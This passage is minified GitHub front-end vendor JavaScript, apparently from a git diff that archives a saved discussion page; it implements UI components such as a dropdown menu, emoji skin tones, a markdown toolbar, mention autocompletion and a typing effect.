L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"p":if(R&&i.ctrlKey){const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case" ":case"Enter":{const L=document.activeElement;L instanceof HTMLElement&&t(L)&&L.closest("details")===u&&(i.preventDefault(),i.stopPropagation(),L.click())}break}}c(d,"keydown");function t(u){const s=u.getAttribute("role");return s==="menuitem"||s==="menuitemcheckbox"||s==="menuitemradio"}c(t,"isMenuItem");function n(u){if(!u.hasAttribute("open"))return;u.removeAttribute("open");const i=u.querySelector("summary");i&&i.focus()}c(n,"close");function a(u,s){const i=s.querySelector("[data-menu-button]");if(!i)return;const f=h(u);if(f)i.textContent=f;else{const E=g(u);E&&(i.innerHTML=E)}}c(a,"updateLabel");function h(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-text")?u:u.querySelector("[data-menu-button-text]");return s?s.getAttribute("data-menu-button-text")||s.textContent:null}c(h,"labelText");function g(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-contents")?u:u.querySelector("[data-menu-button-contents]");return s?s.innerHTML:null}c(g,"labelHTML");function y(u,s){const i=P.get(u);!i||(i.isComposing=s.type==="compositionstart")}c(y,"trackComposition");var T=null;window.customElements.get("details-menu")||(window.DetailsMenuElement=j,window.customElements.define("details-menu",j))},73921:()=>{function j(){const t=/\bWindows NT 6.1\b/.test(navigator.userAgent),n=/\bWindows NT 6.2\b/.test(navigator.userAgent),a=/\bWindows NT 6.3\b/.test(navigator.userAgent),h=/\bFreeBSD\b/.test(navigator.userAgent),g=/\bLinux\b/.test(navigator.userAgent)&&!/\bAndroid\b/.test(navigator.userAgent);return!(t||n||a||g||h)}c(j,"isEmojiSupported");const P=new Set(["\u{1F44B}","\u{1F91A}","\u{1F590}\uFE0F","\u270B","\u{1F596}","\u{1F44C}","\u{1F90F}","\u270C\uFE0F","\u{1F91E}","\u{1F91F}","\u{1F918}","\u{1F919}","\u{1F448}","\u{1F449}","\u{1F446}","\u{1F595}","\u{1F447}","\u261D\uFE0F","\u{1F44D}","\u{1F44E}","\u270A","\u{1F44A}","\u{1F91B}","\u{1F91C}","\u{1F44F}","\u{1F64C}","\u{1F450}","\u{1F932}","\u{1F64F}","\u270D\uFE0F","\u{1F485}","\u{1F933}","\u{1F4AA}","\u{1F9B5}","\u{1F9B6}","\u{1F442}","\u{1F9BB}","\u{1F443}","\u{1F476}","\u{1F9D2}","\u{1F466}","\u{1F467}","\u{1F9D1}","\u{1F471}","\u{1F468}","\u{1F9D4}","\u{1F471}\u200D\u2642\uFE0F","\u{1F468}\u200D\u{1F9B0}","\u{1F468}\u200D\u{1F9B1}","\u{1F468}\u200D\u{1F9B3}","\u{1F468}\u200D\u{1F9B2}","\u{1F469}","\u{1F471}\u200D\u2640\uFE0F","\u{1F469}\u200D\u{1F9B0}","\u{1F469}\u200D\u{1F9B1}","\u{1F469}\u200D\u{1F9B3}","\u{1F469}\u200D\u{1F9B2}","\u{1F9D3}","\u{1F474}","\u{1F475}","\u{1F64D}","\u{1F64D}\u200D\u2642\uFE0F","\u{1F64D}\u200D\u2640\uFE0F","\u{1F64E}","\u{1F64E}\u200D\u2642\uFE0F","\u{1F64E}\u200D\u2640\uFE0F","\u{1F645}","\u{1F645}\u200D\u2642\uFE0F","\u{1F645}\u200D\u2640\uFE0F","\u{1F646}","\u{1F646}\u200D\u2642\uFE0F","\u{1F646}\u200D\u2640\uFE0F","\u{1F481}","\u{1F481}\u200D\u2642\uFE0F","\u{1F481}\u200D\u2640\uFE0F","\u{1F64B}","\u{1F64B}\u200D\u2642\uFE0F","\u{1F64B}\u200D\u2640\uFE0F","\u{1F9CF}","\u{1F9CF}\u200D\u2642\uFE0F","\u{1F9CF}\u200D\u2640\uFE0F","\u{1F647}","\u{1F647}\u200D\u2642\uFE0F","\u{1F647}\u200D\u2640\uFE0F","\u{1F926}","\u{1F926}\u200D\u2642\uFE0F","\u{1F926}\u200D\u2640\uFE0F","\u{1F937}","\u{1F937}\u200D\u2642\uFE0F","\u{1F937}\u200D\u2640\uFE0F","\u{1F468}\u200D\u2695\uFE0F","\u{1F469}\u200D\u2695\uFE0F","\u{1F468}\u200D\u{1F393}","\u{1F469}\u200D\u{1F393}","\u{1F468}\u200D\u{1F3EB}","\u{1F469}\u200D\u{1F3EB}","\u{1F468}\u200D\u2696\uFE0F","\u{1F469}\u200D\u2696\uFE0F","\u{1F468}\u200D\u{1F33E}","\u{1F469}\u200D\u{1F33E}","\u{1F468}\u200D\u{1F373}","\u{1F469}\u200D\u{1F373}","\u{1F468}\u200D\u{1F527}","\u{1F469}\u200D\u{1F527}","\u{1F468}\u200D\u{1F3ED}","\u{1F469}\u200D\u{1F3ED}","\u{1F468}\u200D\u{1F4BC}","\u{1F469}\u200D\u{1F4BC}","\u{1F468}\u200D\u{1F52C}","\u{1F469}\u200D\u{1F52C}","\u{1F468}\u200D\u{1F4BB}","\u{1F469}\u200D\u{1F4BB}","\u{1F468}\u200D\u{1F3A4}","\u{1F469}\u200D\u{1F3A4}","\u{1F468}\u200D\u{1F3A8}","\u{1F469}\u200D\u{1F3A8}","\u{1F468}\u200D\u2708\uFE0F","\u{1F469}\u200D\u2708\uFE0F","\u{1F468}\u200D\u{1F680}","\u{1F469}\u200D\u{1F680}","\u{1F468}\u200D\u{1F692}","\u{1F469}\u200D\u{1F692}","\u{1F46E}","\u{1F46E}\u200D\u2642\uFE0F","\u{1F46E}\u200D\u2640\uFE0F","\u{1F575}\uFE0F","\u{1F575}\uFE0F\u200D\u2642\uFE0F","\u{1F575}\uFE0F\u200D\u2640\uFE0F","\u{1F482}","\u{1F482}\u200D\u2642\uFE0F","\u{1F482}\u200D\u2640\uFE0F","\u{1F477}","\u{1F477}\u200D\u2642\uFE0F","\u{1F477}\u200D\u2640\uFE0F","\u{1F934}","\u{1F478}","\u{1F473}","\u{1F473}\u200D\u2642\uFE0F","\u{1F473}\u200D\u2640\uFE0F","\u{1F472}","\u{1F9D5}","\u{1F935}","\u{1F470}","\u{1F930}","\u{1F931}","\u{1F47C}","\u{1F385}","\u{1F936}","\u{1F9B8}","\u{1F9B8}\u200D\u2642\uFE0F","\u{1F9B8}\u200D\u2640\uFE0F","\u{1F9B9}","\u{1F9B9}\u200D\u2642\uFE0F","\u{1F9B9}\u200D\u2640\uFE0F","\u{1F9D9}","\u{1F9D9}\u200D\u2642\uFE0F","\u{1F9D9}\u200D\u2640\uFE0F","\u{1F9DA}","\u{1F9DA}\u200D\u2642\uFE0F","\u{1F9DA}\u200D\u2640\uFE0F","\u{1F9DB}","\u{1F9DB}\u200D\u2642\uFE0F","\u{1F9DB}\u200D\u2640\uFE0F","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFE0F","\u{1F9DC}\u200D\u2640\uFE0F","\u{1F9DD}","\u{1F9DD}\u200D\u2642\uFE0F","\u{1F9DD}\u200D\u2640\uFE0F","\u{1F486}","\u{1F486}\u200D\u2642\uFE0F","\u{1F486}\u200D\u2640\uFE0F","\u{1F487}","\u{1F487}\u200D\u2642\uFE0F","\u{1F487}\u200D\u2640\uFE0F","\u{1F6B6}","\u{1F6B6}\u200D\u2642\uFE0F","\u{1F6B6}\u200D\u2640\uFE0F","\u{1F9CD}","\u{1F9CD}\u200D\u2642\uFE0F","\u{1F9CD}\u200D\u2640\uFE0F","\u{1F9CE}","\u{1F9CE}\u200D\u2642\uFE0F","\u{1F9CE}\u200D\u2640\uFE0F","\u{1F468}\u200D\u{1F9AF}","\u{1F469}\u200D\u{1F9AF}","\u{1F468}\u200D\u{1F9BC}","\u{1F469}\u200D\u{1F9BC}","\u{1F468}\u200D\u{1F9BD}","\u{1F469}\u200D\u{1F9BD}","\u{1F3C3}","\u{1F3C3}\u200D\u2642\uFE0F","\u{1F3C3}\u200D\u2640\uFE0F","\u{1F483}","\u{1F57A}","\u{1F574}\uFE0F","\u{1F9D6}","\u{1F9D6}\u200D\u2642\uFE0F","\u{1F9D6}\u200D\u2640\uFE0F","\u{1F9D7}","\u{1F9D7}\u200D\u2642\uFE0F","\u{1F9D7}\u200D\u2640\uFE0F","\u{1F3C7}","\u{1F3C2}","\u{1F3CC}\uFE0F","\u{1F3CC}\uFE0F\u200D\u2642\uFE0F","\u{1F3CC}\uFE0F\u200D\u2640\uFE0F","\u{1F3C4}","\u{1F3C4}\u200D\u2642\uFE0F","\u{1F3C4}\u200D\u2640\uFE0F","\u{1F6A3}","\u{1F6A3}\u200D\u2642\uFE0F","\u{1F6A3}\u200D\u2640\uFE0F","\u{1F3CA}","\u{1F3CA}\u200D\u2642\uFE0F","\u{1F3CA}\u200D\u2640\uFE0F","\u26F9\uFE0F","\u26F9\uFE0F\u200D\u2642\uFE0F","\u26F9\uFE0F\u200D\u2640\uFE0F","\u{1F3CB}\uFE0F","\u{1F3CB}\uFE0F\u200D\u2642\uFE0F","\u{1F3CB}\uFE0F\u200D\u2640\uFE0F","\u{1F6B4}","\u{1F6B4}\u200D\u2642\uFE0F","\u{1F6B4}\u200D\u2640\uFE0F","\u{1F6B5}","\u{1F6B5}\u200D\u2642\uFE0F","\u{1F6B5}\u200D\u2640\uFE0F","\u{1F938}","\u{1F938}\u200D\u2642\uFE0F","\u{1F938}\u200D\u2640\uFE0F","\u{1F93D}","\u{1F93D}\u200D\u2642\uFE0F","\u{1F93D}\u200D\u2640\uFE0F","\u{1F93E}","\u{1F93E}\u200D\u2642\uFE0F","\u{1F93E}\u200D\u2640\uFE0F","\u{1F939}","\u{1F939}\u200D\u2642\uFE0F","\u{1F939}\u200D\u2640\uFE0F","\u{1F9D8}","\u{1F9D8}\u200D\u2642\uFE0F","\u{1F9D8}\u200D\u2640\uFE0F","\u{1F6C0}","\u{1F6CC}","\u{1F9D1}\u200D\u{1F91D}\u200D\u{1F9D1}","\u{1F46D}","\u{1F46B}","\u{1F46C}"]);function I(t){return P.has(t)}c(I,"isModifiable");const x="\u200D",_=65039;function W(t,n){const a=B(t);if(!I(a))return t;const h=R(n);return h?a.split(x).map(g=>I(g)?H(g,h):g).join(x):t}c(W,"applyTone");function S(t,n){const a=B(t);if(!I(a))return t;const h=n.map(g=>R(g));return a.split(x).map(g=>{if(!I(g))return g;const y=h.shift();return y?H(g,y):g}).join(x)}c(S,"applyTones");function B(t){return[...t].filter(n=>!M(n.codePointAt(0))).join("")}c(B,"removeTone");function H(t,n){const a=[...t].map(h=>h.codePointAt(0));return a[1]&&(M(a[1])||a[1]===_)?a[1]=n:a.splice(1,0,n),String.fromCodePoint(...a)}c(H,"tint");function M(t){return t>=127995&&t<=127999}c(M,"isTone");function R(t){switch(t){case 1:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case 5:return 127999;default:return null}}c(R,"toneModifier");class k extends HTMLElement{get image(){return this.firstElementChild instanceof HTMLImageElement?this.firstElementChild:null}get tone(){return(this.getAttribute("tone")||"").split(" ").map(n=>{const a=parseInt(n,10);return a>=0&&a<=5?a:0}).join(" ")}set tone(n){this.setAttribute("tone",n)}connectedCallback(){if(this.image===null&&!j()){const n=this.getAttribute("fallback-src");if(n){this.textContent="";const a=v(this);a.src=n,this.appendChild(a)}}this.hasAttribute("tone")&&m(this)}static get observedAttributes(){return["tone"]}attributeChangedCallback(n){switch(n){case"tone":m(this);break}}}c(k,"GEmojiElement");function m(t){if(t.image)return;const n=t.tone.split(" ").map(a=>parseInt(a,10));if(n.length===0)t.textContent=B(t.textContent||"");else if(n.length===1){const a=n[0];t.textContent=a===0?B(t.textContent||""):W(t.textContent||"",a)}else t.textContent=S(t.textContent||"",n)}c(m,"updateTone");function v(t){const n=document.createElement("img");return n.className="emoji",n.alt=t.getAttribute("alias")||"",n.height=20,n.width=20,n}c(v,"emojiImage"),window.customElements.get("g-emoji")||(window.GEmojiElement=k,window.customElements.define("g-emoji",k));var d=null},51941:()=>{const j=["[data-md-button]","md-header","md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ordered-list","md-task-list","md-mention","md-ref","md-strikethrough"];function P(l){const o=[];for(const e of l.querySelectorAll(j.join(", ")))e.hidden||e.offsetWidth<=0&&e.offsetHeight<=0||e.closest("markdown-toolbar")===l&&o.push(e);return o}c(P,"getButtons");function I(l){return function(o){(o.key===" "||o.key==="Enter")&&(o.preventDefault(),l(o))}}c(I,"keydown");const x=new WeakMap;class _ extends HTMLElement{constructor(){super();const o=c(()=>{const e=x.get(this);!e||it(this,e)},"apply");this.addEventListener("keydown",I(o)),this.addEventListener("click",o)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","button")}click(){const o=x.get(this);!o||it(this,o)}}c(_,"MarkdownButtonElement");class W extends _{constructor(){super();const o=parseInt(this.getAttribute("level")||"3",10);if(o<1||o>6)return;const e=`${"#".repeat(o)} `;x.set(this,{prefix:e})}}c(W,"MarkdownHeaderButtonElement"),window.customElements.get("md-header")||(window.MarkdownHeaderButtonElement=W,window.customElements.define("md-header",W));class S extends _{constructor(){super();x.set(this,{prefix:"**",suffix:"**",trimFirst:!0})}}c(S,"MarkdownBoldButtonElement"),window.customElements.get("md-bold")||(window.MarkdownBoldButtonElement=S,window.customElements.define("md-bold",S));class B extends _{constructor(){super();x.set(this,{prefix:"_",suffix:"_",trimFirst:!0})}}c(B,"MarkdownItalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownItalicButtonElement=B,window.customElements.define("md-italic",B));class H extends _{constructor(){super();x.set(this,{prefix:"> ",multiline:!0,surroundWithNewlines:!0})}}c(H,"MarkdownQuoteButtonElement"),window.customElements.get("md-quote")||(window.MarkdownQuoteButtonElement=H,window.customElements.define("md-quote",H));class M extends _{constructor(){super();x.set(this,{prefix:"`",suffix:"`",blockPrefix:"```",blockSuffix:"```"})}}c(M,"MarkdownCodeButtonElement"),window.customElements.get("md-code")||(window.MarkdownCodeButtonElement=M,window.customElements.define("md-code",M));class R extends _{constructor(){super();x.set(this,{prefix:"[",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(R,"MarkdownLinkButtonElement"),window.customElements.get("md-link")||(window.MarkdownLinkButtonElement=R,window.customElements.define("md-link",R));class k extends _{constructor(){super();x.set(this,{prefix:"![",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(k,"MarkdownImageButtonElement"),window.customElements.get("md-image")||(window.MarkdownImageButtonElement=k,window.customElements.define("md-image",k));class m extends _{constructor(){super();x.set(this,{prefix:"- ",multiline:!0,unorderedList:!0})}}c(m,"MarkdownUnorderedListButtonElement"),window.customElements.get("md-unordered-list")||(window.MarkdownUnorderedListButtonElement=m,window.customElements.define("md-unordered-list",m));class v extends _{constructor(){super();x.set(this,{prefix:"1. ",multiline:!0,orderedList:!0})}}c(v,"MarkdownOrderedListButtonElement"),window.customElements.get("md-ordered-list")||(window.MarkdownOrderedListButtonElement=v,window.customElements.define("md-ordered-list",v));class d extends _{constructor(){super();x.set(this,{prefix:"- [ ] ",multiline:!0,surroundWithNewlines:!0})}}c(d,"MarkdownTaskListButtonElement"),window.customElements.get("md-task-list")||(window.MarkdownTaskListButtonElement=d,window.customElements.define("md-task-list",d));class t extends _{constructor(){super();x.set(this,{prefix:"@",prefixSpace:!0})}}c(t,"MarkdownMentionButtonElement"),window.customElements.get("md-mention")||(window.MarkdownMentionButtonElement=t,window.customElements.define("md-mention",t));class n extends _{constructor(){super();x.set(this,{prefix:"#",prefixSpace:!0})}}c(n,"MarkdownRefButtonElement"),window.customElements.get("md-ref")||(window.MarkdownRefButtonElement=n,window.customElements.define("md-ref",n));class a extends _{constructor(){super();x.set(this,{prefix:"~~",suffix:"~~",trimFirst:!0})}}c(a,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")||(window.MarkdownStrikethroughButtonElement=a,window.customElements.define("md-strikethrough",a));class h extends HTMLElement{constructor(){super()}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","toolbar"),this.addEventListener("keydown",y),this.setAttribute("tabindex","0"),this.addEventListener("focus",g,{once:!0})}disconnectedCallback(){this.removeEventListener("keydown",y)}get field(){const o=this.getAttribute("for");if(!o)return null;const e="getRootNode"in this?this.getRootNode():document;let r;return(e instanceof Document||e instanceof ShadowRoot)&&(r=e.getElementById(o)),r instanceof HTMLTextAreaElement?r:null}}c(h,"MarkdownToolbarElement");function g({target:l}){if(!(l instanceof Element))return;l.removeAttribute("tabindex");let o="0";for(const e of P(l))e.setAttribute("tabindex",o),o==="0"&&(e.focus(),o="-1")}c(g,"onToolbarFocus");function y(l){const o=l.key;if(o!=="ArrowRight"&&o!=="ArrowLeft"&&o!=="Home"&&o!=="End")return;const e=l.currentTarget;if(!(e instanceof HTMLElement))return;const r=P(e),p=r.indexOf(l.target),b=r.length;if(p===-1)return;let w=0;o==="ArrowLeft"&&(w=p-1),o==="ArrowRight"&&(w=p+1),o==="End"&&(w=b-1),w<0&&(w=b-1),w>b-1&&(w=0);for(let A=0;A1}c(T,"isMultipleLines");function u(l,o){return Array(o+1).join(l)}c(u,"repeat");function s(l,o){let e=o;for(;l[e]&&l[e-1]!=null&&!l[e-1].match(/\s/);)e--;return e}c(s,"wordSelectionStart");function i(l,o,e){let r=o;const p=e?/\n/:/\s/;for(;l[r]&&!l[r].match(p);)r++;return r}c(i,"wordSelectionEnd");let f=null;function E(l,{text:o,selectionStart:e,selectionEnd:r}){const p=l.selectionStart,b=l.value.slice(0,p),w=l.value.slice(l.selectionEnd);if(f===null||f===!0){l.contentEditable="true";try{f=document.execCommand("insertText",!1,o)}catch{f=!1}l.contentEditable="false"}if(f&&!l.value.slice(0,l.selectionStart).endsWith(o)&&(f=!1),!f){try{document.execCommand("ms-beginUndoUnit")}catch{}l.value=b+o+w;try{document.execCommand("ms-endUndoUnit")}catch{}l.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}e!=null&&r!=null?l.setSelectionRange(e,r):l.setSelectionRange(p,l.selectionEnd)}c(E,"insertText");function L(l,o){const e=l.value.slice(l.selectionStart,l.selectionEnd);let r;o.orderedList||o.unorderedList?r=nt(l,o):o.multiline&&T(e)?r=D(l,o):r=K(l,o),E(l,r)}c(L,"styleSelectedText");function O(l){const o=l.value.split(` +`);let e=0;for(let r=0;r=e&&l.selectionStart=e&&l.selectionEnd0?`${w} +`:p,Y=T(X)&&A.length>0?` +${A}`:b;if($){const V=l.value[l.selectionStart-1];l.selectionStart!==0&&V!=null&&!V.match(/\s/)&&(q=` ${q}`)}X=U(l,q,Y,o.multiline);let F=l.selectionStart,J=l.selectionEnd;const ut=C.length>0&&Y.indexOf(C)>-1&&X.length>0;if(ot){const V=G(l);e=V.newlinesToAppend,r=V.newlinesToPrepend,q=e+p,Y+=r}if(X.startsWith(q)&&X.endsWith(Y)){const V=X.slice(q.length,X.length-Y.length);if(Z===rt){let tt=Z-q.length;tt=Math.max(tt,F),tt=Math.min(tt,F+V.length),F=J=tt}else J=F+V.length;return{text:V,selectionStart:F,selectionEnd:J}}else if(ut)if(N.length>0&&X.match(N)){Y=Y.replace(C,X);const V=q+Y;return F=J=F+q.length,{text:V,selectionStart:F,selectionEnd:J}}else{const V=q+X+Y;return F=F+q.length+X.length+Y.indexOf(C),J=F+C.length,{text:V,selectionStart:F,selectionEnd:J}}else{let V=q+X+Y;F=Z+q.length,J=rt+q.length;const tt=X.match(/^\s*|\s*$/g);if(o.trimFirst&&tt){const ct=tt[0]||"",at=tt[1]||"";V=ct+q+X.trim()+Y+at,F+=ct.length,J-=at.length}return{text:V,selectionStart:F,selectionEnd:J}}}c(K,"blockStyle");function D(l,o){const{prefix:e,suffix:r,surroundWithNewlines:p}=o;let b=l.value.slice(l.selectionStart,l.selectionEnd),w=l.selectionStart,A=l.selectionEnd;const C=b.split(` +`);if(C.every(N=>N.startsWith(e)&&N.endsWith(r)))b=C.map(N=>N.slice(e.length,N.length-r.length)).join(` +`),A=w+b.length;else if(b=C.map(N=>e+N+r).join(` +`),p){const{newlinesToAppend:N,newlinesToPrepend:ot}=G(l);w+=N.length,A=w+b.length,b=N+b+ot}return{text:b,selectionStart:w,selectionEnd:A}}c(D,"multilineStyle");function z(l){const o=l.split(` +`),e=/^\d+\.\s+/,r=o.every(b=>e.test(b));let p=o;return r&&(p=o.map(b=>b.replace(e,""))),{text:p.join(` +`),processed:r}}c(z,"undoOrderedListStyle");function et(l){const o=l.split(` +`),e="- ",r=o.every(b=>b.startsWith(e));let p=o;return r&&(p=o.map(b=>b.slice(e.length,b.length))),{text:p.join(` +`),processed:r}}c(et,"undoUnorderedListStyle");function Q(l,o){return o?"- ":`${l+1}. `}c(Q,"makePrefix");function st(l,o){let e,r,p;return l.orderedList?(r=z(o),e=et(r.text),p=e.text):(r=et(o),e=z(r.text),p=e.text),[r,e,p]}c(st,"clearExistingListStyle");function nt(l,o){const e=l.selectionStart===l.selectionEnd;let r=l.selectionStart,p=l.selectionEnd;O(l);const b=l.value.slice(l.selectionStart,l.selectionEnd),[w,A,C]=st(o,b),$=C.split(` +`).map((q,Y)=>`${Q(Y,o.unorderedList)}${q}`),N=$.reduce((q,Y,F)=>q+Q(F,o.unorderedList).length,0),ot=$.reduce((q,Y,F)=>q+Q(F,!o.unorderedList).length,0);if(w.processed)return e?(r=Math.max(r-Q(0,o.unorderedList).length,0),p=r):(r=l.selectionStart,p=l.selectionEnd-N),{text:C,selectionStart:r,selectionEnd:p};const{newlinesToAppend:Z,newlinesToPrepend:rt}=G(l),X=Z+$.join(` +`)+rt;return e?(r=Math.max(r+Q(0,o.unorderedList).length+Z.length,0),p=r):A.processed?(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N-ot):(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N),{text:X,selectionStart:r,selectionEnd:p}}c(nt,"listStyle");function it(l,o){const e=l.closest("markdown-toolbar");if(!(e instanceof h))return;const p=Object.assign(Object.assign({},{prefix:"",suffix:"",blockPrefix:"",blockSuffix:"",multiline:!1,replaceNext:"",prefixSpace:!1,scanFor:"",surroundWithNewlines:!1,orderedList:!1,unorderedList:!1,trimFirst:!1}),o),b=e.field;b&&(b.focus(),L(b,p))}c(it,"applyStyle");var lt=null},57852:(j,P,I)=>{var x=I(10160);const _=/\s|\(|\[/;function W(t,n,a,{multiWord:h,lookBackIndex:g,lastMatchPosition:y}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let T=t.lastIndexOf(n,a-1);if(T===-1||T=T+n.length+1||t.lastIndexOf(` +`,a-1)>T||t.lastIndexOf(".",a-1)>T)return}else if(t.lastIndexOf(" ",a-1)>T)return;const u=t[T-1];return u&&!_.test(u)?void 0:{text:t.substring(T+n.length,a),position:T+n.length}}c(W,"query");const S=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],B=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],H=new WeakMap;function M(t,n){const a=t.nodeName.toLowerCase();if(a!=="textarea"&&a!=="input")throw new Error("expected textField to a textarea or input");let h=H.get(t);if(h&&h.parentElement===t.parentElement)h.innerHTML="";else{h=document.createElement("div"),H.set(t,h);const u=window.getComputedStyle(t),s=S.slice(0);a==="textarea"?s.push("white-space:pre-wrap;"):s.push("white-space:nowrap;");for(let i=0,f=B.length;i{a.remove()},5e3),{top:y.top-g.top,left:y.left-g.left}}c(R,"textFieldSelectionPosition");const k=new WeakMap;class m{constructor(n,a){this.expander=n,this.input=a,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.lookBackIndex=0,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithList=!1,a.addEventListener("paste",this.onpaste),a.addEventListener("input",this.oninput),a.addEventListener("keydown",this.onkeydown),a.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex)}activate(n,a){var h,g;if(this.input!==document.activeElement&&this.input!==((g=(h=document.activeElement)===null||h===void 0?void 0:h.shadowRoot)===null||g===void 0?void 0:g.activeElement))return;this.deactivate(),this.menu=a,a.id||(a.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(a),this.combobox=new x.Z(this.input,a);const{top:y,left:T}=R(this.input,n.position);a.style.top=`${y}px`,a.style.left=`${T}px`,this.combobox.start(),a.addEventListener("combobox-commit",this.oncommit),a.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}deactivate(){const n=this.menu;return!n||!this.combobox?!1:(this.menu=null,n.removeEventListener("combobox-commit",this.oncommit),n.removeEventListener("mousedown",this.onmousedown),this.combobox.destroy(),this.combobox=null,n.remove(),!0)}onCommit({target:n}){const a=n;if(!(a instanceof HTMLElement)||!this.combobox)return;const h=this.match;if(!h)return;const g=this.input.value.substring(0,h.position-h.key.length),y=this.input.value.substring(h.position+h.text.length),T={item:a,key:h.key,value:null};if(!this.expander.dispatchEvent(new CustomEvent("text-expander-value",{cancelable:!0,detail:T}))||!T.value)return;const s=`${T.value} `;this.input.value=g+s+y;const i=g.length+s.length;this.deactivate(),this.input.focus({preventScroll:!0}),this.input.selectionStart=i,this.input.selectionEnd=i,this.lookBackIndex=i,this.match=null}onBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async onInput(){if(this.justPasted){this.justPasted=!1;return}const n=this.findMatch();if(n){this.match=n;const a=await this.notifyProviders(n);if(!this.match)return;a?this.activate(n,a):this.deactivate()}else this.match=null,this.deactivate()}findMatch(){const n=this.input.selectionEnd||0,a=this.input.value;n<=this.lookBackIndex&&(this.lookBackIndex=n-1);for(const{key:h,multiWord:g}of this.expander.keys){const y=W(a,h,n,{multiWord:g,lookBackIndex:this.lookBackIndex,lastMatchPosition:this.match?this.match.position:null});if(y)return{text:y.text,key:h,position:y.position}}}async notifyProviders(n){const a=[],h=c(u=>a.push(u),"provide");return this.expander.dispatchEvent(new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:h,text:n.text,key:n.key}}))?(await Promise.all(a)).filter(u=>u.matched).map(u=>u.fragment)[0]:void 0}onMousedown(){this.interactingWithList=!0}onKeydown(n){n.key==="Escape"&&(this.match=null,this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex,n.stopImmediatePropagation(),n.preventDefault()))}}c(m,"TextExpander");class v extends HTMLElement{get keys(){const n=this.getAttribute("keys"),a=n?n.split(" "):[],h=this.getAttribute("multiword"),g=h?h.split(" "):[],y=g.length===0&&this.hasAttribute("multiword");return a.map(T=>({key:T,multiWord:y||g.includes(T)}))}connectedCallback(){const n=this.querySelector('input[type="text"], textarea');if(!(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement))return;const a=new m(this,n);k.set(this,a)}disconnectedCallback(){const n=k.get(this);!n||(n.destroy(),k.delete(this))}dismiss(){const n=k.get(this);!n||n.dismissMenu()}}c(v,"TextExpanderElement"),window.customElements.get("text-expander")||(window.TextExpanderElement=v,window.customElements.define("text-expander",v));var d=null},88823:()=>{const j=function(){return document.readyState==="complete"?Promise.resolve():new Promise(W=>{window.addEventListener("load",W)})}();class P extends HTMLElement{async connectedCallback(){await j,this.content&&await x(this.lines,this.content,this.characterDelay,this.lineDelay),this.cursor&&(this.cursor.hidden=!0),this.dispatchEvent(new CustomEvent("typing:complete",{bubbles:!0,cancelable:!0}))}get content(){return this.querySelector('[data-target="typing-effect.content"]')}get cursor(){return this.querySelector('[data-target="typing-effect.cursor"]')}get lines(){const S=this.getAttribute("data-lines");try{return S?JSON.parse(S):[]}catch{return[]}}get prefersReducedMotion(){return window.matchMedia("(prefers-reduced-motion)").matches}get characterDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-character-delay"))),2147483647))||40}set characterDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-character-delay",String(S))}get lineDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-line-delay"))),2147483647))||40}set lineDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-line-delay",String(S))}}c(P,"TypingEffectElement");var I=null;window.customElements.get("typing-effect")||(window.TypingEffectElement=P,window.customElements.define("typing-effect",P));async function x(W,S,B,H){for(let M=0;M{setTimeout(S,W)})}c(_,"wait")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-58612d26affb.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js new file mode 100644 index 0000000..1396f80 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var W=Object.defineProperty;var 